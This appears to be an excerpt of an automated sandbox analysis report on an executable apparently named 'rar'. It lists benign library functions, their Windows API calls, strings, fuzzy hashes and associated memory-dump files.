Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 336a33042f1e52100b28f5a1ad6ae687e8956255ef3791e684bc327077314d0d
Instruction ID: 998eabb84fae82628ac96fe2b52b5fbd409e3d139251004da068f5f9b9f3f303
Opcode Fuzzy Hash: 336a33042f1e52100b28f5a1ad6ae687e8956255ef3791e684bc327077314d0d
Instruction Fuzzy Hash: CE012D32A2CA8286EB70EB15E4513AAF3A1FB85754F800135E68C86588EE6CD649CF50

Function 00007FF71D316130 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71D3162AD

Strings

nan, xrefs: 00007FF71D316198
NAN(IND), xrefs: 00007FF71D3161DB
NAN, xrefs: 00007FF71D316191
INF, xrefs: 00007FF71D3161A3
inf, xrefs: 00007FF71D3161B6
nan(snan), xrefs: 00007FF71D3161D0
nan(ind), xrefs: 00007FF71D3161E6
NAN(SNAN), xrefs: 00007FF71D3161C5

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: 336881e81ddd14afa9560f251b33c86b073c2b2d41bd1fd01ec7cedf827ef5ce
Instruction ID: 3142ff2d175d67ee9d2f30394b1eb84a6fd6e981843c763d4d22322e54912a6a
Opcode Fuzzy Hash: 336881e81ddd14afa9560f251b33c86b073c2b2d41bd1fd01ec7cedf827ef5ce
Instruction Fuzzy Hash: 2E419C72A09F46C9E700DF65E8417AAB7A4EB187A8F80413AEE5C07B55EE3CD029C754

Function 00007FF71D2C7988 Relevance: 13.6, APIs: 9, Instructions: 60COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(00000000,00000100,?,?,00000002,00007FF71D2C7892), ref: 00007FF71D2C79BC
GetStdHandle.KERNEL32 ref: 00007FF71D2C79CA
GetConsoleMode.KERNEL32 ref: 00007FF71D2C79E0
GetConsoleMode.KERNEL32 ref: 00007FF71D2C79EE
SetConsoleMode.KERNEL32 ref: 00007FF71D2C79FC
SetConsoleMode.KERNEL32 ref: 00007FF71D2C7A0A
ReadConsoleW.KERNEL32 ref: 00007FF71D2C7A24
SetConsoleMode.KERNEL32 ref: 00007FF71D2C7A3A
SetConsoleMode.KERNEL32 ref: 00007FF71D2C7A47

Part of subcall function 00007FF71D2C82E4: fflush.LIBCMT ref: 00007FF71D2C832F

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: Console$Mode$Handle$Readfflush
String ID:
API String ID: 1039280553-0
Opcode ID: 5c62bb105008418d5d8f1a35d4748ced2dc44b1bf30dc7e2d2292546f420945d
Instruction ID: 397d50adedeba2eff0e9c159d2914447897caa3e7637f93d46ab3e611d306917
Opcode Fuzzy Hash: 5c62bb105008418d5d8f1a35d4748ced2dc44b1bf30dc7e2d2292546f420945d
Instruction Fuzzy Hash: 61215635E1CA52D7EA10AB25A804579E361FB89BB1F944134EE4A07764FE3CD94ECF10

Function 00007FF71D300140 Relevance: 12.2, APIs: 8, Instructions: 205COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF71D300211
_CxxThrowException.LIBVCRUNTIME ref: 00007FF71D300222
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF71D30022D
_CxxThrowException.LIBVCRUNTIME ref: 00007FF71D30023E
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF71D3003D3
_CxxThrowException.LIBVCRUNTIME ref: 00007FF71D3003E4
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF71D3003EF
_CxxThrowException.LIBVCRUNTIME ref: 00007FF71D300400

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: bded3eb97cd522293b02a364016924ca6bbff2ef19536e48150b63450b2bece9
Instruction ID: 749570059b40a988022a4722cc7a4f0dd25756984be34d79b13aa7e5f678f447
Opcode Fuzzy Hash: bded3eb97cd522293b02a364016924ca6bbff2ef19536e48150b63450b2bece9
Instruction Fuzzy Hash: AC81E432A0CE92C5EB65AA11E5403BDE350FB44BA4F984139DA4D07B99FF7CE4498B20

Function 00007FF71D2BC468 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 420COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2BC7AE
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2BC97F
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2BC9DC

Strings

;%u, xrefs: 00007FF71D2BC79E
xc%u, xrefs: 00007FF71D2BC9CC
x%u, xrefs: 00007FF71D2BC96F

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: swprintf
String ID: ;%u$x%u$xc%u
API String ID: 233258989-2277559157
Opcode ID: 18e8202548affe00674286321b5f124759c48e138fb2ddf063aaae7488dbebd7
Instruction ID: 6e2dea492649f8d6cb66f3c7c4ee51faba3fd3971c002ae33af1836a6cfab86a
Opcode Fuzzy Hash: 18e8202548affe00674286321b5f124759c48e138fb2ddf063aaae7488dbebd7
Instruction Fuzzy Hash: 0602D722B0CD8241FA24FA3195453FEE751AF497A0F840431DAAE57786EEBCE548DB21

Function 00007FF71D2D1634 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32 ref: 00007FF71D2D1694
GetShortPathNameW.KERNEL32 ref: 00007FF71D2D16B5

Part of subcall function 00007FF71D2FDAC0: CompareStringW.KERNEL32(?,?,?,?,?,?,00007FF71D2E4C1E,?,?,?,?,?,?,?,00007FF71D309706), ref: 00007FF71D2FDADF

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2D175F
MoveFileW.KERNEL32 ref: 00007FF71D2D17CD
MoveFileW.KERNEL32 ref: 00007FF71D2D1815

Strings

rtmp%d, xrefs: 00007FF71D2D1755

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: FileMoveNamePath$CompareLongShortStringswprintf
String ID: rtmp%d
API String ID: 2308737092-3303766350
Opcode ID: de0bcd3fdd60b8f1859e4975922cee0e0ab7dbe13660142ab9f58961243ff5d4
Instruction ID: 43f196ec62ed3cb1a073739d324273c11130bf701fa4aba3f853712ab977ada0
Opcode Fuzzy Hash: de0bcd3fdd60b8f1859e4975922cee0e0ab7dbe13660142ab9f58961243ff5d4
Instruction Fuzzy Hash: A7519322A1CD8684EA31FF21D8511FEA351BF447A4FE40131D91D97A9AFE3CD609CB20

Function 00007FF71D2FB650 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32 ref: 00007FF71D2FB66A
CloseHandle.KERNEL32 ref: 00007FF71D2FB685
CreateEventW.KERNEL32 ref: 00007FF71D2FB699
GetLastError.KERNEL32 ref: 00007FF71D2FB6A6
CloseHandle.KERNEL32 ref: 00007FF71D2FB6C0

Strings

rar -ioff, xrefs: 00007FF71D2FB65C, 00007FF71D2FB68B

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CloseCreateEventHandle$ErrorLast
String ID: rar -ioff
API String ID: 4151682896-4089728129
Opcode ID: 1b32cc9a5b3853ccf39725862a0ac8b7945a78bb0f3e0147b511bdfad103efab
Instruction ID: d3d2b8b8c66d8a2d820132002ead9b859654fc488c4068adc90c0df426ffa07c
Opcode Fuzzy Hash: 1b32cc9a5b3853ccf39725862a0ac8b7945a78bb0f3e0147b511bdfad103efab
Instruction Fuzzy Hash: 74018B39E1DE16C2FA14BB70E950670E362AF48722FC80838D90E426A0FE3C704C8E30

Function 00007FF71D2FB470 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF71D2FB488
GetProcAddress.KERNEL32 ref: 00007FF71D2FB4A0
GetProcAddress.KERNEL32 ref: 00007FF71D2FB4D5

Strings

kernel32, xrefs: 00007FF71D2FB481
SetDllDirectoryW, xrefs: 00007FF71D2FB496
SetDefaultDllDirectories, xrefs: 00007FF71D2FB4CB

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: SetDefaultDllDirectories$SetDllDirectoryW$kernel32
API String ID: 667068680-1824683568
Opcode ID: 8cf5c4d02fd6faa15582d92511ad3bd01355bb3a29212f000fb48e6594ec6bc8
Instruction ID: 303c51452162745e4b9e625ef137164773eb4ea312260c953b5344fcb183af62
Opcode Fuzzy Hash: 8cf5c4d02fd6faa15582d92511ad3bd01355bb3a29212f000fb48e6594ec6bc8
Instruction Fuzzy Hash: 21F0F635E0DF56C1EA54AB11F954069E361AF49BE0B885438D95E06724FE3CE54DCB20

Function 00007FF71D311ADC Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 488COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71D311B14
_invalid_parameter_noinfo.LIBCMT ref: 00007FF71D311E39
_invalid_parameter_noinfo.LIBCMT ref: 00007FF71D3120BE

Strings

-, xrefs: 00007FF71D311B8B
+, xrefs: 00007FF71D311B96

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: +$-
API String ID: 3215553584-2137968064
Opcode ID: 6f396bf2fa0b9258a91da6205a77601ce69ace0f3c9f84e6f9ba191af742c055
Instruction ID: 0af85b07cb4334079aa2860018761b4e6102b7a4ff63265d4e0702d7eff7244c
Opcode Fuzzy Hash: 6f396bf2fa0b9258a91da6205a77601ce69ace0f3c9f84e6f9ba191af742c055
Instruction Fuzzy Hash: 5C12C17AE0D943C5FB24BB5590856F9E295EB00774FC8433AC69A436C0FF2CA649CB24

Function 00007FF71D2CE49C Relevance: 9.1, APIs: 6, Instructions: 148COMMON

Download Yara Rule

APIs

BackupRead.KERNEL32 ref: 00007FF71D2CE523
BackupRead.KERNEL32 ref: 00007FF71D2CE572
BackupSeek.KERNEL32 ref: 00007FF71D2CE5CB
BackupRead.KERNEL32 ref: 00007FF71D2CE641
BackupSeek.KERNEL32 ref: 00007FF71D2CE679
wcschr.LIBVCRUNTIME ref: 00007FF71D2CE6B4

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: Backup$Read$Seek$wcschr
String ID:
API String ID: 2092471728-0
Opcode ID: bf2be669b84e778a922cb721f987b286462bef24a2ee3b0e5ee0b4462bdc88cd
Instruction ID: 58146ca3f48b9ce415dc180981c0b3805fa1d8c84df0d17dc8d2e82d36ce3918
Opcode Fuzzy Hash: bf2be669b84e778a922cb721f987b286462bef24a2ee3b0e5ee0b4462bdc88cd
Instruction Fuzzy Hash: 4851563261CB8186EB20DF15E44016AF7A5FB85BA4F504235EAAD43B98EF3DD949CF10

Function 00007FF71D2FBC8C Relevance: 9.1, APIs: 6, Instructions: 113timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF71D2D6754: GetVersionExW.KERNEL32 ref: 00007FF71D2D6785

FileTimeToLocalFileTime.KERNEL32 ref: 00007FF71D2FBCEF
FileTimeToSystemTime.KERNEL32 ref: 00007FF71D2FBCFB
SystemTimeToTzSpecificLocalTime.KERNEL32 ref: 00007FF71D2FBD0B
SystemTimeToFileTime.KERNEL32 ref: 00007FF71D2FBD19
SystemTimeToFileTime.KERNEL32 ref: 00007FF71D2FBD27
FileTimeToSystemTime.KERNEL32 ref: 00007FF71D2FBD68

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 783e0797a035659b3492376ae89a00853b2f1d30ad776eeab2f46d2c2c056a92
Instruction ID: 92adc0e7494241ff2dd1eab10bca433de819d5b0b94cf7d2a6391c53864484fb
Opcode Fuzzy Hash: 783e0797a035659b3492376ae89a00853b2f1d30ad776eeab2f46d2c2c056a92
Instruction Fuzzy Hash: D5518AB2F18A51CAEB54DFB4D4401ACB7B1F708798B90403ADE1E56B58EF38D559CB10

Function 00007FF71D2FC254 Relevance: 9.1, APIs: 6, Instructions: 81timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32 ref: 00007FF71D2FC2B8

Part of subcall function 00007FF71D2D6754: GetVersionExW.KERNEL32 ref: 00007FF71D2D6785

LocalFileTimeToFileTime.KERNEL32 ref: 00007FF71D2FC2DA
FileTimeToSystemTime.KERNEL32 ref: 00007FF71D2FC2E6
TzSpecificLocalTimeToSystemTime.KERNEL32 ref: 00007FF71D2FC2F6
SystemTimeToFileTime.KERNEL32 ref: 00007FF71D2FC304
SystemTimeToFileTime.KERNEL32 ref: 00007FF71D2FC312

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 41967c4cfece844e9e60fb7580ce40b35ceb9cc7a7776e0bae41eece92730556
Instruction ID: ede7ced57b9ed69b92e8542f07b1bc823a78225c277a1c854208bdc0ba0e8568
Opcode Fuzzy Hash: 41967c4cfece844e9e60fb7580ce40b35ceb9cc7a7776e0bae41eece92730556
Instruction Fuzzy Hash: 58313B72F18A51C9FB00DFB4D8901ACB771FB08799B54502ADE0E97A58EB38D499C710

Function 00007FF71D2EEB40 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF71D2B72C4: new.LIBCMT ref: 00007FF71D2B73DE

new.LIBCMT ref: 00007FF71D2EEBB4

Strings

exe, xrefs: 00007FF71D2EECDC
rebuilt., xrefs: 00007FF71D2EECA3
rar, xrefs: 00007FF71D2EECF2
sfx, xrefs: 00007FF71D2EECC9

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
